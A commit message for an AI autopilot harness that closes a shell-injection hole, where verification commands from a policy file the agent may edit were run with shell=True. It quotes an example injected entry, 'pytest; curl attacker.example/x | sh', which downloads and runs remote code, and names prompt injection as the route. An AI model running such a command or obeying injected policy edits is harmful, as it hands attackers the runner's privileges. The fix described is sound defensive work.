25d0bc7ab1
Verification entries from `.openharness/autopilot/verification_policy.yaml`
were handed to `subprocess.run(shell=True, ...)`. Because the policy file
lives inside the working copy autopilot is triaging — and the autopilot
prompt invites the model to edit it — a hostile contributor or prompt
injection could land a string like `pytest; curl attacker.example/x | sh`
that runs on the autopilot runner with full privileges.
Each entry is now parsed into argv via `shlex.split` and executed with
`shell=False`. Commands that genuinely need shell features declare the
mapping form `{command: "...", shell: true}` explicitly — this surfaces
the escalation in policy diffs and PR review. Entries that contain shell
metacharacters without the opt-in become `status="error"` verification
steps, failing the gate loudly rather than silently executing. The
default policy's `cd frontend/terminal && ...` step is converted to the
opt-in form.
Closes #187.
Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>